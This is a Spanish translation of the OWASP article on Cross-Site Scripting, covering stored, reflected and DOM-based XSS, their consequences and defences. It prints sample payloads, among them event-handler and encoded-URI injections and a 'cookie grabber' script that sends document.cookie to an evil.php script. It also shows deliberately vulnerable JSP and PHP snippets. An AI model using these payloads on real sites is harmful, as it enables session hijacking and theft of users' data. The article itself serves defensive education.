Contribuidor(es): Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin
Resumen
Los ataques de XSS (Cross-Site Scripting) son un tipo de inyección, en el que se inyectan scripts maliciosos en sitios web que de otra forma serían benignos y de confianza. Los ataques XSS se producen cuando un atacante utiliza una aplicación web para enviar código malicioso, generalmente en forma de script del lado del navegador, a un usuario final diferente. Los fallos que permiten que estos ataques tengan éxito están bastante extendidos y se producen en cualquier lugar en el que una aplicación web utilice la entrada de un usuario dentro de la salida que genera sin validarla o codificarla.
Un atacante puede utilizar XSS para enviar un script malicioso a un usuario desprevenido. El navegador del usuario final no tiene forma de saber que el script no es de confianza y lo ejecutará. Como cree que el script proviene de una fuente de confianza, el script malicioso puede acceder a cualquier cookie, testigo de sesión u otra información sensible retenida por el navegador y utilizada con ese sitio. Estos scripts pueden incluso reescribir el contenido de la página HTML. Para más detalles sobre los diferentes tipos de fallos XSS, consulte: Tipos de Cross-Site Scripting.
Cómo evitar las vulnerabilidades de Cross-site scripting
- Hoja de trucos para la prevención de XSS (Cross Site Scripting)
- Hoja de trucos para la prevención de XSS basado en DOM
- Artículo de la Guía de Desarrollo de OWASP sobre Validación de Datos
- Artículo de la Guía de Desarrollo de OWASP sobre Phishing
Cómo revisar el código para detectar vulnerabilidades de Cross-site scripting Vulnerabilities
Vea la Guía de Revisión de Código OWASP.
Cómo probar las vulnerabilidades de Cross-site scripting
Vea el último artículo de la Guía de Pruebas OWASP sobre cómo probar los distintos tipos de vulnerabilidades XSS.
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-based_Cross_site_scripting
Descripción
Los ataques de Cross-Site Scripting (XSS) se producen cuando:
- Los datos entran en una aplicación web a través de una fuente que no es de confianza, más frecuentemente una petición web.
- Los datos se incluyen en el contenido dinámico que se envía a un usuario de la web sin ser validado para el contenido malicioso.
- Como en el ejemplo 1, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados ocurren cuando un atacante hace que un usuario suministre contenido peligroso a una aplicación web vulnerable, que luego es reflejado de vuelta al usuario y ejecutado por el navegador web. El mecanismo más común para suministrar contenido malicioso es incluirlo como parámetro en una URL que se publica o se envía por correo electrónico directamente a las víctimas. Las URL construidas de esta manera constituyen el núcleo de muchos esquemas de phishing, en los que un atacante convence a las víctimas para que visiten una URL que remite a un sitio vulnerable. Después de que el sitio refleje el contenido del atacante al usuario, el contenido se ejecuta y procede a transferir información privada, como cookies que pueden incluir información de la sesión, desde la máquina del usuario al atacante o realizar otras actividades nefastas.
- Como en el ejemplo 2, la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos de confianza. Los datos peligrosos se vuelven a leer en la aplicación y se incluyen en el contenido dinámico. Los exploits de XSS almacenado se producen cuando un atacante inyecta contenido peligroso en un almacén de datos que posteriormente se lee y se incluye en el contenido dinámico. Desde la perspectiva de un atacante, el lugar óptimo para inyectar contenido malicioso es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes suelen tener privilegios elevados en la aplicación o interactúan con datos sensibles que son valiosos para el atacante. Si uno de estos usuarios ejecuta el contenido malicioso, el atacante puede ser capaz de realizar operaciones con privilegios en nombre del usuario u obtener acceso a datos sensibles pertenecientes al usuario.
- Una fuente externa a la aplicación almacena los datos peligrosos en una base de datos u otro almacén de datos, y los datos peligrosos se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.
- Ataques XSS
- Invocar código móvil no fiable
- Manipulación del historial de sitios cruzados (XSHM)
- Validación inadecuada de datos
- Tipos de Cross-Site Scripting
- Artículo de la Guía de Desarrollo de WASP sobre Validación de Datos
- Artículo de la Guía de Desarrollo de WASP sobre Phishing
- Validación de Datos
- Hoja de trucos para la prevención de XSS (Cross Site Scripting) deOWASP
- Prueba_para_Reflected_Cross_site_scripting
- Prueba_para_Stored_Cross_site_scripting
- Prueba_para_DOM-based_Cross_site_scripting
- El Cross Site Scripting FAQ
- Hoja de trucos para la evasión del filtro XSS de OWASP
- Aviso del CERT sobre etiquetas HTML maliciosas
- CERT «Understanding Malicious Content Mitigation
- Entendiendo la causa y el efecto de las vulnerabilidades CSS
- XSSed – Información sobre Cross-Site Scripting (XSS) y archivo espejo de sitios web vulnerables
El contenido malicioso enviado al navegador web a menudo toma la forma de un segmento de JavaScript, pero también puede incluir HTML, Flash, o cualquier otro tipo de código que el navegador puede ejecutar. La variedad de ataques basados en XSS es casi ilimitada, pero suelen incluir la transmisión de datos privados, como cookies u otra información de sesión, al atacante, la redirección de la víctima a contenidos web controlados por el atacante o la realización de otras operaciones maliciosas en la máquina del usuario bajo la apariencia del sitio vulnerable.
Ataques XSS almacenados y reflejados
Los ataques XSS pueden clasificarse generalmente en dos categorías: almacenados y reflejados. Hay un tercer tipo de ataque XSS, mucho menos conocido, llamado DOM Based XSS, que se discute por separado aquí.
Ataques XSS almacenados
Los ataques almacenados son aquellos en los que el script inyectado se almacena permanentemente en los servidores de destino, como en una base de datos, en un foro de mensajes, registro de visitantes, campo de comentarios, etc. La víctima recupera entonces el script malicioso del servidor cuando solicita la información almacenada. El XSS almacenado también se denomina a veces XSS persistente o de tipo I.
Ataques XSS reflejados
Los ataques reflejados son aquellos en los que el script inyectado se refleja fuera del servidor web, como en un mensaje de error, un resultado de búsqueda o cualquier otra respuesta que incluya parte o toda la información enviada al servidor como parte de la solicitud. Los ataques reflejados se entregan a las víctimas a través de otra ruta, como en un mensaje de correo electrónico, o en algún otro sitio web.Cuando se engaña a un usuario para que haga clic en un enlace malicioso, envíe un formulario especialmente diseñado, o incluso simplemente navegue a un sitio malicioso, el código inyectado viaja al sitio web vulnerable, que refleja el ataque de vuelta al navegador del usuario. El navegador ejecuta entonces el código porque procede de un servidor «de confianza». El XSS reflejado también se denomina a veces XSS no persistente o de tipo II.
Otros tipos de vulnerabilidades XSS
Además del XSS almacenado y reflejado, otro tipo de XSS, el XSS basado en el DOM, fue identificado por Amit Klein en 2005. OWASPrecomienda la categorización de XSS tal y como se describe en el artículo de OWASP: Types of Cross-Site Scripting, que cubre todos estos términos de XSS, organizándolos en una matriz de Stored vs. ReflectedXSS y Server vs. Client XSS. XSS de cliente, donde el XSS basado en el DOM es un subconjunto del XSS de cliente.
Consecuencias de los ataques XSS
La consecuencia de un ataque XSS es la misma independientemente de si es almacenado o reflejado (o basado en el DOM). La diferencia está en cómo llega la carga útil al servidor. No se deje engañar pensando que un sitio de «sólo lectura» o «brochureware» no es vulnerable a ataques XSS reflejados graves. El XSS puede causar una variedad de problemas para el usuario final que varían en gravedad desde una molestia hasta el compromiso completo de la cuenta. Los ataques XSS más graves implican la divulgación de la cookie de sesión del usuario, lo que permite a un atacante secuestrar la sesión del usuario y tomar el control de la cuenta. Otros ataques perjudiciales incluyen la divulgación de archivos del usuario final, la instalación de programas troyanos, la redirección del usuario a otra página o sitio, o la modificación de la presentación del contenido. Una vulnerabilidad XSS que permita a un atacante modificar un comunicado de prensa o una noticia podría afectar al precio de las acciones de una empresa o disminuir la confianza de los consumidores. Una vulnerabilidad XSS en un sitio farmacéutico podría permitir a un atacante modificar la información de la dosis, lo que provocaría una sobredosis. Para más información sobre este tipo de ataques, consulte Content_Spoofing.
Cómo determinar si es vulnerable
Los fallos XSS pueden ser difíciles de identificar y eliminar de una aplicación web. La mejor manera de encontrar fallos es realizar una revisión de seguridad del código y buscar todos los lugares donde la entrada de una solicitud HTTP podría llegar a la salida HTML. Nessus, Nikto y otras herramientas disponibles pueden ayudar a escanear un sitio web en busca de estos fallos, pero sólo pueden arañar la superficie. Si una parte de un sitio web es vulnerable, es muy probable que también haya otros problemas.
Cómo protegerse
Las principales defensas contra el XSS se describen en la OWASP XSS Prevention CheatSheet.
Además, es crucial que desactive el soporte HTTP TRACE en todos los servidores web. Un atacante puede robar los datos de las cookies a través de Javascript incluso cuandodocument.cookie está deshabilitado o no es soportado por el cliente. Este ataque se produce cuando un usuario publica un script malicioso en un foro, de modo que cuando otro usuario hace clic en el enlace, se activa una llamada asíncrona de HTTP Trace que recoge la información de la cookie del usuario en el servidor, y luego la envía a otro servidor malicioso que recoge la información de la cookie para que el atacante pueda montar un ataque de secuestro de sesión.Esto se puede mitigar fácilmente eliminando el soporte para HTTP TRACE en todos los servidores web.
El proyecto OWASP ESAPI ha producido un conjunto de componentes de seguridad reutilizables en varios lenguajes, incluyendo rutinas de validación y escape para prevenir la manipulación de parámetros y la inyección de ataques XSS. Además, la aplicación de formación del proyecto OWASP WebGoat tiene lecciones sobre Cross-Site Scripting y codificación de datos.
Sintaxis XSS alternativa
XSS usando Script en atributos
Los ataques XSS pueden llevarse a cabo sin usar <script>...</script>
etiquetas. Otras etiquetas harán exactamente lo mismo, por ejemplo:<body onload=alert('test1')>
u otros atributos como: onmouseover
onerror
.
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS usando script a través de esquemas URI codificados
Si necesitamos escondernos contra los filtros de las aplicaciones web podemos intentar codificar caracteres, e.g.: a=&\#X41
(UTF-8) y utilizarlo en las etiquetas IMG
:
<IMG SRC=jAvascript:alert('test2')>
Hay muchas notaciones de codificación UTF-8 diferentes lo que nos da aún másposibilidades.
XSS usando codificación de código
Podemos codificar nuestro script en base64 y colocarlo en la etiqueta META
. De esta manera nos libramos totalmente de alert()
. Más información sobre este método se puede encontrar en el RFC 2397
<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
Estos y otros ejemplos se pueden encontrar en el OWASP XSS Filter Evasion Cheat Sheet que es una verdadera enciclopedia del ataque de sintaxis XSS alternativo.
Ejemplos
Los ataques de cross-site scripting pueden ocurrir en cualquier lugar donde se permita a usuarios posiblemente maliciosos publicar material no regulado en un sitio web de confianza para el consumo de otros usuarios válidos.
El ejemplo más común se puede encontrar en los sitios web de tablones de anuncios que ofrecen funcionalidad de listas de correo basadas en la web.
Ejemplo 1
El siguiente segmento de código JSP lee el ID de un empleado, eid, de una solicitud HTTP y lo muestra al usuario.
<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>
El código de este ejemplo funciona correctamente si eid
contiene sólo texto alfanumérico estándar. Si eid
tiene un valor que incluye caracteres meta o código fuente, entonces el código será ejecutado por el navegador web cuando muestre la respuesta HTTP.
Inicialmente, esto podría no parecer una gran vulnerabilidad. Después de todo, ¿por qué alguien introduciría una URL que hace que se ejecute un código malicioso en su propio ordenador? El verdadero peligro es que un atacante cree una URL maliciosa y, a continuación, utilice el correo electrónico o trucos de ingeniería social para atraer a las víctimas a visitar un enlace a la URL. Cuando las víctimas hacen clic en el enlace, reflejan involuntariamente el contenido malicioso a través de la aplicación web vulnerable en sus propios ordenadores. Este mecanismo de explotación de aplicaciones web vulnerables se conoce como XSS reflejado.
Ejemplo 2
El siguiente segmento de código JSP consulta una base de datos para un empleado con un ID dado e imprime el nombre del empleado correspondiente.
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>
Al igual que en el ejemplo 1, este código funciona correctamente cuando los valores del nombre se comportan bien, pero no hace nada para evitar los exploits si no lo hacen. De nuevo, este código puede parecer menos peligroso porque el valor dename se lee de una base de datos, cuyo contenido es aparentemente gestionado por la aplicación. Sin embargo, si el valor de name se origina en datos suministrados por el usuario, entonces la base de datos puede ser un conducto para contenido malicioso. Sin una validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos maliciosos en el navegador web del usuario. Este tipo de exploit, conocido como Stored XSS, es particularmente insidioso porque la indirección causada por el almacenamiento de datos hace más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a múltiples usuarios. El XSS comenzó en esta forma con los sitios web que ofrecían un «libro de visitas» a los visitantes. Los atacantes incluíanJavaScript en sus entradas del libro de visitas, y todos los visitantes posteriores de la página del libro de visitas ejecutaban el código malicioso.
Como demuestran los ejemplos, las vulnerabilidades XSS son causadas por código que incluye datos no validados en una respuesta HTTP. Hay tres vectores por los que un ataque XSS puede llegar a una víctima:
Ejemplos de ataque
Ejemplo 1: Cookie Grabber
Si la aplicación no valida los datos de entrada, el atacante puede robar fácilmente una cookie de un usuario autenticado. Todo lo que el atacante tiene que hacer es colocar el siguiente código en cualquier entrada publicada (es decir, mensajes, mensajes privados, perfiles de usuario):
<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>
El código anterior pasará un contenido escapado de la cookie (según la RFC el contenido debe ser escapado antes de enviarlo a través del protocolo HTTP con el método GET) al script evil.php en la variable «cakemonster». El atacante comprueba entonces los resultados de su script evil.php (un script cookie grabber suele escribir la cookie en un archivo) y la utiliza.
Ejemplo de página de error
Supongamos que tenemos una página de error, que está gestionando peticiones de una página no existente, una clásica página de error 404. Podemos usar el código siguiente como ejemplo para informar al usuario sobre qué página específica falta:
<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>
Veamos cómo funciona: http://testsite.test/file_which_not_exist
En respuesta obtenemos: Not found: /file_which_not_exist
Ahora intentaremos forzar la página de error para que incluya nuestro código: http://testsite.test/<script>alert("TEST");</script>
El resultado es: Not found: / (but with JavaScript code <script>alert("TEST");</script>)
¡Hemos inyectado con éxito el código, nuestro XSS! ¿Qué significa esto? Forexample, que podemos utilizar este fallo para intentar robar la sessioncookie de un usuario.
Categoría:InjectionCategory:OWASP Top Ten ProjectCategory:Attack